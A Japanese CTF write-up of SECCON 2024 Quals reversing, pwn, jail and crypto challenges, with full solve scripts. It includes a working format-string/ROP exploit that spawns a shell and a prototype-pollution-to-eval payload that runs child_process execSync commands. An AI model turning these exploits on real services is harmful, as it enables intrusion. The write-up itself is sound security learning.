0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SECCON CTF 2024 Quals Writeup

Last updated at Posted at 2024-11-25

はじめに

SECCON 2024 Quals に参加しました.
全体 51 位,国内 16 位なので,(得意と思っていた Pwn が全然解けなかったものの) 一人にしては良かったのでは思います.

certificate.png

ハイライトは Sage が動かず,ひとつ前の PC で試しても動かず,最終的に二つ前に使っていた PC を引っ張り出したところです.

reversing

packed

author:ptr-yudai
warmup
Packer is one of the most common technique malwares are using.

packed.tar.gz 320fa70af76e54f2b6aec55be4663103d199a4a5

標準入力に与えた FLAG をチェックするバイナリが与えらえる.

└─< ./a.out
FLAG: SECCON{test}
Wrong.

Ghidra でデコンパイルするも全然読めなかったので,BinaryNinja を使う.

void sub_44ed20(void* arg1 @ rbp) __noreturn
{
    int64_t rax_2;
    int64_t* rsp;
    void* rdi_9;
    
    while (true)
    {
        rdi_9 = *(uint64_t*)rsp;
        *(uint64_t*)rsp = 2;
        int64_t rdx;
        rax_2 = syscall(*(uint64_t*)rsp, rdi_9, 0, rdx);
        
        if (rax_2 >= 0)
            break;
        
        *(uint64_t*)rsp = 0xe;
        rdx = *(uint64_t*)rsp;
        *(uint64_t*)rsp = rdi_9;
        int64_t rsi_19 = *(uint64_t*)rsp;
        *(uint64_t*)rsp = 2;
        int64_t rdi_10 = *(uint64_t*)rsp;
        *(uint64_t*)rsp = 1;
        syscall(*(uint64_t*)rsp, rdi_10, rsi_19, rdx);
        *(uint64_t*)rsp = 0x7f;
        int64_t rdi_11 = *(uint64_t*)rsp;
        *(uint64_t*)rsp = 0x3c;
        int64_t rax_23 = *(uint64_t*)rsp;
        rsp = &rsp[1];
        syscall(rax_23, rdi_11);
    }
    
    *(uint64_t*)rsp = rax_2;
    void* rsi_2 = ((char*)rdi_9 + 0x13);
    *(uint32_t*)((char*)rdi_9 + 0xf);
    *(uint64_t*)((char*)rsp - 8) = rsi_2;
    int32_t* rbx = *(uint64_t*)((char*)rsp - 8);
    void* rsi_3 = ((char*)rsi_2 + 4);
    void* rsi_4 = ((char*)rsi_3 + 4);
    uint64_t rax_7 = ((uint64_t)*(uint32_t*)rsi_4);
    void* r13_1 = (((uint64_t)*(uint32_t*)rsi_3) + ((char*)rsi_4 + 4));
    void* rcx_1 = (((char*)arg1 - 0xb) - ((uint64_t)*(uint32_t*)((char*)arg1 - 0xb)));
    int64_t rdi_1 = *(uint64_t*)rsp;
    void* rdx_3 = ((((uint64_t)*(uint32_t*)rsi_2) + rbx) - rcx_1);
    *(uint64_t*)rsp = rdx_3;
    *(uint64_t*)((char*)rsp - 8) = rax_7;
    *(uint64_t*)((char*)rsp - 0x10) = rdi_1;
    *(uint64_t*)((char*)rsp - 0x18) = rcx_1;
    *(uint64_t*)((char*)rsp - 0x20) = 0x22;
    int64_t r10 = *(uint64_t*)((char*)rsp - 0x20);
    *(uint64_t*)((char*)rsp - 0x20) = rdx_3;
    int64_t rsi_6 = *(uint64_t*)((char*)rsp - 0x20);
    *(uint64_t*)((char*)rsp - 0x20) = 3;
    int64_t rdx_4 = *(uint64_t*)((char*)rsp - 0x20);
    void* rsp_15;
    *(uint64_t*)rsp_15 = 9;
    int64_t rax_9 = syscall(*(uint64_t*)rsp_15, 0, rsi_6, rdx_4, r10, 0xffffffff, 0);
    *(uint64_t*)((char*)rsp_15 + 0x18) = rax_9;
    *(uint32_t*)((char*)rsp_15 + 0x10);
    *(uint64_t*)rsp_15 = 0x12;
    *(uint64_t*)rsp_15 = 9;
    int64_t rax_11 = syscall(*(uint64_t*)rsp_15, rax_9, ((char*)r13_1 - rcx_1));
    int64_t rdx_5 = *(uint64_t*)((char*)rsp_15 + 0x20);
    int64_t rcx_2 = *(uint64_t*)((char*)rsp_15 + 8);
    *(uint64_t*)((char*)rsp_15 + 8) = rcx_2;
    void* rax_12 = (rax_11 - rcx_2);
    void* rax_13 = ((char*)rax_12 + arg1);
    *(uint64_t*)rsp_15 = rax_13;
    void* rax_14 = (rax_13 & 0xfffffffffffff000);
    *(uint64_t*)((char*)rsp_15 - 8) = rax_14;
    *(uint64_t*)((char*)rsp_15 - 0x10) = ((rdx_5 + rax_11) - rax_14);
    void* rsi_9 = &rbx[1];
    *(uint64_t*)((char*)rsp_15 - 0x18) = ((uint64_t)*(uint32_t*)rbx);
    void* rdx_8 = ((char*)rbx + rax_12);
    *(uint64_t*)((char*)rsp_15 - 0x20) = ((uint64_t)*(uint32_t*)rsi_9);
    arg1(((char*)rsi_9 + 8), *(uint64_t*)((char*)rsp_15 - 0x20));
    *(uint64_t*)((char*)rsp_15 - 0x18);
    int64_t rsi_13 = *(uint64_t*)((char*)rsp_15 - 0x10);
    int64_t rdi_5 = *(uint64_t*)((char*)rsp_15 - 8);
    *(uint64_t*)rsp_15;
    *(uint64_t*)rsp_15 = 5;
    int64_t rdx_9 = *(uint64_t*)rsp_15;
    *(uint64_t*)rsp_15 = 0xa;
    syscall(*(uint64_t*)rsp_15, rdi_5, rsi_13, rdx_9);
    *(uint64_t*)rsp_15 = rdx_8;
    *(uint64_t*)((char*)rsp_15 - 8) = rdx_8;
    *(uint64_t*)((char*)rsp_15 - 0x10) = rdx_8;
    __builtin_strncpy(((char*)rsp_15 - 0x10), "FLAG: ", 8);
    *(uint64_t*)((char*)rsp_15 - 0x18) = ((char*)rsp_15 - 0x10);
    int64_t rsi_14 = *(uint64_t*)((char*)rsp_15 - 0x18);
    *(uint64_t*)((char*)rsp_15 - 0x18) = 1;
    void* rsp_31;
    *(uint64_t*)((char*)rsp_31 - 0x10) = 1;
    syscall(*(uint64_t*)((char*)rsp_31 - 8), *(uint64_t*)((char*)rsp_31 - 0x10), rsi_14, 6);
    *(uint64_t*)((char*)rsp_31 - 8) = rsp_31;
    int32_t rax_20 = syscall(sys_read {0}, 0, (*(uint64_t*)((char*)rsp_31 - 8) - 0x80), 0x80);
    
    if (rax_20 != 0x31)
    {
        __builtin_strcpy(rsp_31, "Wrong.\n");
        *(uint64_t*)((char*)rsp_31 - 8) = rsp_31;
        int64_t rsi_18 = *(uint64_t*)((char*)rsp_31 - 8);
        *(uint64_t*)((char*)rsp_31 - 8) = 1;
        *(uint64_t*)((char*)rsp_31 - 0x10) = 1;
        int32_t rdi_8 = ((int32_t)*(uint64_t*)((char*)rsp_31 - 0x10));
        syscall(*(uint64_t*)((char*)rsp_31 - 8), rdi_8, rsi_18, 7);
        syscall(sys_exit {0x3c}, rdi_8);
        /* no return */
    }
    
    uint64_t rcx_4 = ((uint64_t)rax_20);
    *(uint64_t*)rsp_31;
    char* rsi_17 = *(uint64_t*)((char*)rsp_31 + 8);
    void* rdi_7 = ((char*)rsp_31 - 0x80);
    void* temp1_1;
    
    do
    {
        rax_20 = *(uint8_t*)rsi_17;
        rsi_17 = &rsi_17[1];
        *(uint8_t*)rdi_7 ^= rax_20;
        temp1_1 = rdi_7;
        rdi_7 += 1;
        rcx_4 -= 1;
    } while ((temp1_1 != -1 && rcx_4 != 0));
    sub_44ee72();
    /* no return */
}

前半は全然わからないが,

int32_t rax_20 = syscall(sys_read {0}, 0, (*(uint64_t*)((char*)rsp_31 - 8) - 0x80), 0x80);

で入力を受け取って,

if (rax_20 != 0x31)

でその長さ (改行文字含む) が 0x31 か調べている.

関数 sub_44ee72 を見てみる.

void sub_44ee72() __noreturn
{
    int64_t rcx = 0x31;
    void* const __return_addr_1 = __return_addr;
    void var_88;
    void* rdi = &var_88;
    int32_t rdx = 0;
    void* temp0_1;

    do
    {
        bool rax = *(uint8_t*)__return_addr_1;
        __return_addr_1 += 1;
        rdx |= *(uint8_t*)rdi != rax;
        temp0_1 = rdi;
        rdi += 1;
        rcx -= 1;
    } while ((temp0_1 != -1 && rcx != 0));

    if (rdx != 0)
    {
        __builtin_strcpy(&arg_8, "Wrong.\n");
        syscall(sys_write {1}, 1, &arg_8, 7);
    }
    else
    {
        __builtin_strncpy(&arg_8, "OK!\n", 8);
        syscall(sys_write {1}, 1, &arg_8, 4);
    }

    syscall(sys_exit {0x3c}, 1);
    /* no return */
}

ここで FLAG の比較が終わっている.が,やっぱり全然わからない.

GDB で追ってみると以下のことがわかる

  • 0x44ee34 ~ 0x44ee3a のループで各文字とどっかからとってきた値を XOR している
            ──────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────
       0x44ee3a  ✔ loopne 0x44ee34                    <0x44ee34>
        ↓
       0x44ee34   lodsb  al, byte ptr [rsi]
       0x44ee35    xor    byte ptr [rdi], al     [0x7fffffffddcb] => 65 (0x41 ^ 0x0)
       0x44ee37    inc    rdi                    RDI => 0x7fffffffddcb
       0x44ee3a  ✔ loopne 0x44ee34                    <0x44ee34>
        ↓
     ► 0x44ee34    lodsb  al, byte ptr [rsi]
       0x44ee35    xor    byte ptr [rdi], al     [0x7fffffffddc9] => 11 (0x41 ^ 0x4a)
       0x44ee37    inc    rdi                    RDI => 0x7fffffffddca
       0x44ee3a  ✔ loopne 0x44ee34                    <0x44ee34>
        ↓
       0x44ee34   lodsb  al, byte ptr [rsi]
       0x44ee35    xor    byte ptr [rdi], al     [0x7fffffffddca] => 65 (0x41 ^ 0x0)
    
  • 0x44ee82 ~ 0x44ee8d のループで各文字と,どっかからとってきた値を比較している
    ──────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────
       0x44ee85    setne  al
       0x44ee88    or     dl, al     DL => 1 (1 | 1)
       0x44ee8a    inc    rdi        RDI => 0x7fffffffddcb
       0x44ee8d  ✔ loopne 0x44ee82                    <0x44ee82>
    
       0x44ee82    lodsb  al, byte ptr [rsi]
     ► 0x44ee83    cmp    byte ptr [rdi], al     0x41 - 0x43     EFLAGS => 0x293 [ CF pf AF zf SF IF df of ]
       0x44ee85    setne  al
       0x44ee88    or     dl, al                 DL => 1 (1 | 1)
       0x44ee8a    inc    rdi                    RDI => 0x7fffffffddcb
       0x44ee8d  ✔ loopne 0x44ee82                    <0x44ee82>
        ↓
       0x44ee82    lodsb  al, byte ptr [rsi]
    

これを順番に取り出してみると FLAG が得られる.

import gdb

l = 0x30

gdb.execute('start')

gdb.execute('b *0x44ee35')
gdb.execute('b *0x44ee83')

gdb.execute('r <<< $(echo ' + 'A' * l + ')')

xors = []
for _ in range(l + 1):
    rax = gdb.parse_and_eval('$rax')
    xors.append(rax)
    gdb.execute('c')

cmps = []
for _ in range(l + 1):
    rax = gdb.parse_and_eval('$rax')
    cmps.append(rax)
    gdb.execute('c')

flag = ''
for x, c in zip(xors, cmps):
    flag += chr(x ^ c)
print(flag)

ちなみに問題名の通りどこかで実行ファイルが unpack されてメモリにマッピングされている (何に使われたのかはわからん)

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x450000 r-xp    50000      0 /mnt/c/Users/toha/work/seccon2024/rev/packed/packed/a.out
          0x450000           0x4cd000 rw-p    7d000      0 [heap]
    0x7ffff7fa9000     0x7ffff7ff7000 rw-p    4e000      0 /mnt/c/Users/toha/work/seccon2024/rev/packed/packed/a.out
    0x7ffff7ff7000     0x7ffff7ff9000 r-xp     2000  4e000 /mnt/c/Users/toha/work/seccon2024/rev/packed/packed/a.out
    0x7ffff7ff9000     0x7ffff7ffd000 r--p     4000      0 [vvar]
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000      0 [vdso]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]

Jump

author:n01e0
Who would have predicted that ARM would become so popular?

※ We confirmed the binary of Jump accepts multiple flags. The SHA-1 of the correct flag is c69bc9382d04f8f3fbb92341143f2e3590a61a08 We're sorry for your patience and inconvenience

Jump.tar.gz 2040eea8d701ec57a9f38b204b443487e482c5fe

ARM64 のバイナリが与えられる.

└─< file jump
jump: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, stripped

デコンパイルしてみると 8 分割して 4 バイトずつチェックしている感じがする.
8 個の関数のうち,4 つの関数は XOR しているだけなので,見てみると FLAG の一部っぽいことがわかる.

void sub_400648(int32_t arg1)
{
    int64_t x30;
    int64_t var_8 = x30;
    *var_8[4] = arg1;
    data_412030 = (data_412030 & 1 & ((*var_8[4] ^ 0xcafebabe) == 0xf9958ed6 ? 1 : 0) ? 1 : 0) & 1;
}
// >> h4k3

void sub_4006ac(int32_t arg1)
{
    int64_t x30;
    int64_t var_8 = x30;
    *var_8[4] = arg1;
    data_412030 = (data_412030 & 1 & ((*var_8[4] ^ 0xc0ffee) == 0x5fb4ceb1 ? 1 : 0) ? 1 : 0) & 1;
}
// >> _1t_

void sub_400710(int32_t arg1)
{
    int64_t x30;
    int64_t var_8 = x30;
    *var_8[4] = arg1;
    data_412030 = (data_412030 & 1 & ((*var_8[4] ^ 0xdeadbeef) == 0xebd6f0a0 ? 1 : 0) ? 1 : 0) & 1;
}
// >> ON{5

void sub_400774(int32_t* arg1)
{
    data_412030 = (data_412030 & 1 & (*(arg1 + data_412038) + *(arg1 + data_412038 - 4) == 0x9d9d6295 ? 1 : 0) ? 1 : 0) & 1;
}

void sub_4007fc(int32_t* arg1)
{
    data_412030 = (data_412030 & 1 & (*(arg1 + data_412038) + *(arg1 + data_412038 - 4) == 0x94d3a1d4 ? 1 : 0) ? 1 : 0) & 1;
}

void sub_400884(int32_t* arg1)
{
    data_412030 = (data_412030 & 1 & (*(arg1 + data_412038) - *(arg1 + data_412038 - 4) == 0x47cb363b ? 1 : 0) ? 1 : 0) & 1;
}

void sub_40090c(int32_t arg1)
{
    int64_t x30;
    int64_t var_8 = x30;
    *var_8[4] = arg1;
    data_412030 = (data_412030 & 1 & (*var_8[4] == 0x43434553 ? 1 : 0) ? 1 : 0) & 1;
}
// >> SECC

void sub_400964(int32_t* arg1)
{
    data_412030 = (data_412030 & 1 & (*(arg1 + data_412038) + *(arg1 + data_412038 - 4) == 0x9d949ddd ? 1 : 0) ? 1 : 0) & 1;
}

残りの関数ではその直前の 4 文字との和 (一つだけ差) をとって,ハードコーディングされた値と比較している.
デコンパイル結果からはいまいち順番がわからなかったので,適当に試してみて,あとは読めるように適当に並び替える.

vs = [
    0xcafebabe ^ 0xf9958ed6,
    0xc0ffee ^ 0x5fb4ceb1,
    0xdeadbeef ^ 0xebd6f0a0,
    0x43434553,
]
vs.append(0x94d3a1d4 - vs[1])
vs.append(0x9d949ddd - vs[-1])
vs.append(0x9d9d6295 - vs[-1])
vs.append(0x47cb363b + vs[-1])

ds = [
    # 0x9d9d6295,
    # 0x94d3a1d4,
    0x47cb363b,
    # 0x9d949ddd,
]

bs = [v.to_bytes(4, 'little') for v in vs]
print(bs)

# for d in ds:
# #     print(((d - vs[0]) % 0xffffffff).to_bytes(4, 'little'))
# #     print(((d - vs[1]) % 0xffffffff).to_bytes(4, 'little'))
# #     print(((d - vs[2]) % 0xffffffff).to_bytes(4, 'little'))
    
#     for i in range(len(vs)):
#         print(((d + vs[i]) % 0xffffffff).to_bytes(4, 'little'))

flag = bs[3] + bs[2] + bs[0] + bs[1] + bs[4] + bs[5] + bs[6] + bs[7]
print(flag)

pwnable

Paragraph

author:ptr-yudai
warmup
A black cat is asking your name.

nc paragraph.seccon.games 5000
Paragraph.tar.gz aa6126fc98c19cf985f7615bb2893ab98aa63461

Canary なし,PIE もなし,GOT も書き換え可能.

[*] Binary: chall
[*] Libc: libc.so.6
[*] Loader: ld-linux-x86-64.so.2

[*] file ./chall
Type:       ELF 64-bit LSB executable
Arch:       x86-64
Linking:    dynamically linked
Symbol:     not stripped
Debug info: No

[*] checksec ./chall
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

[*] Patch ELF: patchelf --set-interpreter debug/ld-linux-x86-64.so.2 --set-rpath ./debug debug/chall

[*] spwn completed

非常にシンプルなコード

#include <stdio.h>

int main() {
    char name[24];
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("\"What is your name?\", the black cat asked.\n");
    scanf("%23s", name);
    printf(name);
    printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

    return 0;
}

変数 name に入力が格納され,

printf(name);

があるので,書式文字列攻撃ができる.

No PIE なので,バイナリのアドレスがわかるため,GOT の書き換えが考えられるが,libc のベースアドレスを知らない + 24 文字しか入力できないため書式文字列を使っても一部の値しか書き換えられないので Partial Overwrite の方向で考える.

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /mnt/c/Users/toha/work/seccon2024/pwn/paragraph/Paragraph/debug/chall:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e32bd0 (puts) ◂— endbr64
[0x404020] setbuf@GLIBC_2.2.5 -> 0x7ffff7e3a740 (setbuf) ◂— endbr64
[0x404028] printf@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
[0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e0ae00 (__isoc99_scanf) ◂— endbr64

GOT Overwrite の対象は書き換え後に呼び出される printf 関数

└─< readelf -s -W /lib/x86_64-linux-gnu/libc.so.6 | grep " printf@"
  2611: 00000000000600f0   204 FUNC    GLOBAL DEFAULT   17 printf@@GLIBC_2.2.5

ここを One gadget に置き換えられればよさそうとなったが,レジスタの状態が条件を満たすものがなく断念.

└─< one_gadget ./libc.so.6
0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

printf 付近で使えそうなものを探す.

└─< nm -n -D libc.so.6
(snip...)
0000000000060000 T __isoc99_vfscanf@@GLIBC_2.7
0000000000060010 T __isoc99_vscanf@@GLIBC_2.7
0000000000060040 T __isoc99_vsscanf@@GLIBC_2.7
00000000000600f0 T _IO_printf@@GLIBC_2.2.5
00000000000600f0 T printf@@GLIBC_2.2.5
00000000000601c0 T parse_printf_format@@GLIBC_2.2.5
0000000000063580 T __printf_fp@@GLIBC_2.2.5
0000000000064840 T printf_size@@GLIBC_2.2.5
0000000000065450 T printf_size_info@@GLIBC_2.2.5
0000000000065470 T psiginfo@@GLIBC_2.10
00000000000659a0 T psignal@@GLIBC_2.2.5
0000000000065b00 T putw@@GLIBC_2.2.5
0000000000065b30 W register_printf_modifier@@GLIBC_2.10
0000000000065ea0 W register_printf_specifier@@GLIBC_2.10
0000000000065f90 W register_printf_function@@GLIBC_2.2.5
0000000000066080 W register_printf_type@@GLIBC_2.10
0000000000066170 T remove@@GLIBC_2.2.5
00000000000661c0 T rename@@GLIBC_2.2.5
00000000000661f0 W renameat@@GLIBC_2.4
0000000000066230 W renameat2@@GLIBC_2.28
0000000000066290 T scanf@@GLIBC_2.2.5
0000000000066360 W snprintf@@GLIBC_2.2.5
0000000000066410 T _IO_sprintf@@GLIBC_2.2.5
0000000000066410 T sprintf@@GLIBC_2.2.5
00000000000664d0 T _IO_sscanf@@GLIBC_2.2.5
00000000000664d0 T sscanf@@GLIBC_2.2.5
00000000000665f0 T tempnam@@GLIBC_2.2.5
0000000000066be0 T tmpfile@@GLIBC_2.2.5
0000000000066be0 W tmpfile64@@GLIBC_2.2.5
0000000000066cb0 T tmpnam@@GLIBC_2.2.5
0000000000066d60 T tmpnam_r@@GLIBC_2.2.5
0000000000066e50 T _IO_vfprintf@@GLIBC_2.2.5
0000000000066e50 T vfprintf@@GLIBC_2.2.5
000000000006b7a0 T __vfscanf@@GLIBC_2.2.5
000000000006b7a0 W vfscanf@@GLIBC_2.2.5
(snip...)

scanf があるので,これを使えば

scanf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

となって,name に文字数の制限なく入れられそう.ここでは name に文字数の制限なく入れられるなら Canary が無いため ROP ができる.

とにかく libc のベースアドレスがわからないと何もできないので,まずは GOT から libc のベースアドレスをリークする.そのまま ROP で続きを読み込みたかったが,バイナリ上の "%23s" とかを使おうとすると \x20 がペイロードに含まれることになり scanf では読み込めないので,ret2main してもう一度 ROP (ここでは One gadget を呼び出すだけ) する.

from pwn import *

binary_name = 'debug/chall'

exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
loader = ELF('ld-linux-x86-64.so.2', checksec=False)

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

try:
    HOST_NAME, PORT = 'paragraph.seccon.games 5000'.split()
except:
    log.failure('Host name and port are not set')

gdb_script = '''
b *0x0000000000401217
c
'''

def calc_hn(objective_value, sum_bytes):
    r = objective_value - sum_bytes
    while r < 0:
        r += 0x10000
    return r, r + sum_bytes

scanf_lsb = 0xae00

addr_plt_puts = 0x401070

addr_got_printf = 0x404028
addr_got_puts = 0x404018

addr_pop_rdi = 0x00401283
addr_pop_rsi_r15 = 0x00401281

addr_writable = 0x404000 + 0x200

while True:
    try:
        if args.REMOTE:
            io = remote(HOST_NAME, PORT)
        elif args.LOCAL:
            io = remote('localhost', PORT)
        elif args.GDB:
            io = gdb.debug(f'./{binary_name}', gdb_script, aslr=False)
        else:
            io = process(f'./{binary_name}')


        payload = b''
        payload_bytes, sum_bytes = calc_hn(scanf_lsb, len(payload))
        payload += f'%{payload_bytes}x'.encode()
        payload += f'%8$hn'.encode()
        payload += b'\x00' * (0x10 - len(payload))
        payload += p64(addr_got_printf)
        # print(len(payload))
        sla('cat asked.\n', payload[:23])
        rc(100)

        pause()
        payload = b' answered, a bit confused. "Welcome to SECCON," the cat greeted '
        payload += b'A' * 0x20
        payload += p64(addr_writable + 8)

        ## leak libc addresss
        ## puts(got_puts);
        payload += p64(addr_pop_rdi)
        payload += p64(addr_got_puts)
        payload += p64(addr_plt_puts)
        
        ## ret2main
        payload += p64(addr_pop_rsi_r15)
        payload += p64(addr_writable + 0x10)
        payload += p64(0)
        payload += p64(0x00000000004011dd)

        payload += b' a'
        sl(payload)

        ru(b'\xd0')
        libc_base = int.from_bytes(b'\xd0' + rc(5), 'little') - 0x87bd0
        loginfo(f'libc base: {hex(libc_base)}')

        addr_one_gadget = libc_base + 0xef52b

        pause()
        payload = b''
        payload = b' answered, a bit confused. "Welcome to SECCON," the cat greeted '
        payload += p64(0)
        payload += p64(0)
        payload += p64(0)
        payload += p64(0)
        payload += p64(addr_writable + 0x200)   ## saved rbp
        payload += p64(addr_one_gadget)         ## return address
        payload += b' a'
        sl(payload)

        interact()
    except Exception as e:
        print(e)
    else:
        break
    finally:
        io.close()
        if args.GDB:
            break

jail

pp4

author:Ark
warmup
Let's enjoy the polluted programming💥

nc pp4.seccon.games 5000
pp4.tar.gz 5efe669fba98d1d52413679cbf955de8da616322

前半で Prototype Pollution ができて,後半で 4 種類以下の文字に対する eval があり JSFuck する問題.

JSFuck は 6 文字以上じゃないと自由に動けない (|> が使えるなら 5 文字でもいけるらしい (5文字で書くJavaScript/ Shibuya.XSS techtalk #10) が今回は使えない) ので,Prototype Pollution でどうにかしないといけない.

4 文字しか使えないので関数呼び出しと,起点が必要になることを考えると

(
)
[
]

の 4 文字で考える.

そもそも JSFuck で使われる

[][[]]

は オブジェクト [] のプロパティ [] へアクセスしている.
ブラケット表記法では強制的に文字列に変換されるため,

[].toString()
// >>> ''

なので,

[][[]]

[]['']

と等しくなる.
オブジェクト [] はプロパティ '' を持たないので,undefined が返される.

また,関数を呼び出す方法として

[]["filter"]["constructor"]("return eval")()( CODE )

が知られている.
これは

[]["filter"]
// >>> [Function: filter]

でオブジェクト [] の持つメソッド filter を呼び出して,

[]["filter"]["constructor"]
// >>> [Function: Function]

で関数のコンストラクタを呼び出している.
関数のコンストラクタが得られれば,ここに関数の中身となるコードを文字列として与えることで関数が作成できる.

[]["filter"]["constructor"]("return eval")
// >>> [Function: anonymous]

eval を返すような関数を作成して

[]["filter"]["constructor"]("return eval")()
// >>> [Function: eval]

で呼び出している.
これで CODE の部分にコードとなる任意の文字列を与えて実行することが可能になる.

これを今回もしたいが,そもそも文字列を作成するような JSFuck を入力することが困難なので Prototype Pollution を利用する.
オブジェクトの key と value が

''  -> 'a'
'a' -> 'b'
'b' -> 'c'
'c' -> 'd'
...

となるようにすれば任意の文字列を呼び出すことができる.

ただし,filterconstructor に関してはオブジェクトが元から持っているメソッドのため Prototype Pollution で上書きできない.

console.log([]['filter'])
// >>> [Function: filter]

console.log([]['constructor'])
// >>> [Function: Array]

片方は終端にすれば良いが一つしか使えない.

そもそも

[]["filter"]

は関数のコンストラクタを呼び出すための適当な関数なので,オブジェクトのコンストラクタ

[]["constructor"]

でも問題ない.
よって,

[]["constructor"]["constructor"]("return eval")()("process.mainModule.require('child_process').execSync('ls -la').toString()")

の実行を目標にする.

from pwn import *
import json

cmd = 'ls /'
cmd = 'cat /flag-1863aa693df962ff8433c6b227d63dc0.txt'

chain = {
    f"process.mainModule.require('child_process').execSync('{cmd}').toString()": 'constructor',
    '': 'return eval',
    'return eval': f"process.mainModule.require('child_process').execSync('{cmd}').toString()"
}
payload = {'__proto__': chain}
payload = json.dumps(payload)

io = remote('pp4.seccon.games', '5000')

print(payload)
io.sendlineafter(b'Input JSON: ', payload.encode())

jf = {
    'cs': '[][[][[][[]]]]',
    're': '[][[]]',
    'cm': '[][[][[]]]'
}
payload = f"([])[{jf['cs']}][{jf['cs']}]({jf['re']})()({jf['cm']})"
print(payload)
io.sendlineafter(b'Input code: ', payload.encode())

print(io.recvall().decode())

crypto

reiwa_rot13

author:kurenaif
warmup
Reiwa is latest era name in Japanese(from 2019). it's latest rot13 challenge!

note: Please submit the flag as it is.

reiwa_rot13.tar.gz df5d67f9b4353e3871470362d9871253b8e6e226

FLAG を暗号化している key ($\mathbb{k}$) と key を ROT13 で変換した rot13_key ($\mathbb{r}$) が RSA で暗号化されている.
key は小文字アルファベット 10 文字からなり,

\mathbb{k} = k_0 + k_1 256 + k_2 256^2 + \cdots + k_9 256^9 \quad (97 \le k_i < 97 + 26)

と書ける.

ここで,$k'_i = k_i - 97$ とすると

\mathbb{k} = k'_0 + k'_1 256 + k'_2 256^2 + \cdots + k'_9 256^9 + 97 (1 + 256 + \cdots + 256^9)

となる.($0 \le k'_i < 26$)

同様に rot13_key $\mathbb{r}$ を

\mathbb{r} = r'_0 + r'_1 256 + r'_2 256^2 + \cdots + r'_9 256^9 + 97 (1 + 256 + \cdots + 256^9)

とすると

r'_i = k'_i + 13 + 26 l_i \quad (l_i \in \{0, -1\})

を満たす.

$\mathbb{k}$ と $\mathbb{r}$ の差 $d$ について考えると

d = \mathbb{k} - \mathbb{r} = 13 (1 + 256 + \cdots + 256^9) + 26 (l_0 + l_1 256 + \cdots + l_9 256^9)

で,全部で 1024 通りしかない.
RSA で平文の差がわかっていれば多項式の最大公約数を求めれば良い (Related Message Attack)

from Crypto.Util.number import *
import hashlib
from Crypto.Cipher import AES
from tqdm import tqdm

def pdivmod(u, v):
    """
    polynomial version of divmod
    """
    q = u // v
    r = u - q*v
    return (q, r)

def hgcd(u, v, min_degree=10):
    """
    Calculate Half-GCD of (u, v)
    f and g are univariate polynomial
    http://web.cs.iastate.edu/~cs577/handouts/polydivide.pdf
    """
    x = u.parent().gen()

    if u.degree() < v.degree():
        u, v = v, u

    if 2*v.degree() < u.degree() or u.degree() < min_degree:
        q = u // v
        return matrix([[1, -q], [0, 1]])

    m = u.degree() // 2
    b0, c0 = pdivmod(u, x^m)
    b1, c1 = pdivmod(v, x^m)

    R = hgcd(b0, b1)
    DE = R * matrix([[u], [v]])
    d, e = DE[0,0], DE[1,0]
    q, f = pdivmod(d, e)

    g0 = e // x^(m//2)
    g1 = f // x^(m//2)

    S = hgcd(g0, g1)
    return S * matrix([[0, 1], [1, -q]]) * R

def pgcd(u, v):
    """
    fast implementation of polynomial GCD
    using hgcd
    """
    if u.degree() < v.degree():
        u, v = v, u

    if v == 0:
        return u

    if u % v == 0:
